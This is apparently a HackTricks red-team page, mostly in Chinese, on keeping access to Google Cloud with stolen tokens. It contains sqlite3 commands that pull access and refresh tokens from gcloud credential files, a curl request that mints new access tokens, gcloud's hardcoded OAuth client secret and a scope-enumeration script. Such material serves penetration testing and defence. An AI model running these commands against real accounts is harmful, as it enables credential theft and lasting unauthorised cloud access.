GCP - 令牌持久化

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

已认证用户令牌

要获取用户的 当前令牌,可以运行:

从 SQLite 数据库获取访问令牌 ```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" ```

请查看此页面,了解如何 通过 gcloud 直接使用此 token:

Cloud SSRF - HackTricks

要获取 生成新的 access token 的详细信息,请运行:

从 SQLite database 中获取 refresh token ```bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" ```

也可能在 $HOME/.config/gcloud/application_default_credentials.json$HOME/.config/gcloud/legacy_credentials/*/adc.json 中找到 refresh tokens。

要使用 refresh token、client ID 和 client secret 获取新的 access token,请运行:

使用 refresh token 获取新的 access token ```bash curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token ```

刷新令牌的有效期可以在 Admin > Security > Google Cloud session control 中管理,默认设置为 16h,不过也可以设置为永不过期:

身份验证流程

当使用类似 gcloud auth login 的命令进行认证时,会在浏览器中打开提示窗口,接受所有作用域(scopes)后,浏览器会向该工具打开的 http 端口发送类似如下的请求:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Then, gcloud will use the state and code with a some hardcoded client_id (32555940559.apps.googleusercontent.com) and client_secret (ZmssLNjJy2998hD4CTg2ejr2) to get the final refresh token data.

Caution

请注意,与 localhost 的通信是通过 HTTP 进行的,因此有可能拦截数据以获取 refresh token,然而这些数据仅有效一次,因此这并无太大用处,直接从文件读取 refresh token 更简单。

OAuth Scopes

You can find all Google scopes in https://developers.google.com/identity/protocols/oauth2/scopes or get them executing:

获取所有 Google OAuth scopes ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ```

可以使用此脚本查看用于认证的应用程序 gcloud 可以支持哪些 scopes:

测试 gcloud 支持的 scopes ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then echo "" echo $scope fi done ```

执行后检查该应用支持以下作用域:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

有趣的是,这个应用支持 drive scope,这可能允许用户从 GCP 提权到 Workspace,如果攻击者设法强迫用户生成带有该 scope 的 token。

查看如何 滥用此处

服务账号

就像对已认证用户一样,如果你设法获取服务账号的私钥文件,通常就可以长期访问该账号
不过,如果你窃取了服务账号的 OAuth token,情况可能更有意思,因为即便这些 tokens 默认只在一小时内有效,如果受害者删除了 private api key,OAuh token 仍会在过期前保持有效

元数据

显然,只要你在运行于 GCP 环境中的机器内部,你就可以通过访问 metadata endpoint 访问附加在该机器上的 service account(注意你能在此 endpoint 获取到的 Oauth tokens 通常受 scopes 限制)。

缓解措施

这些技术的一些缓解措施在 https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 中有说明

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks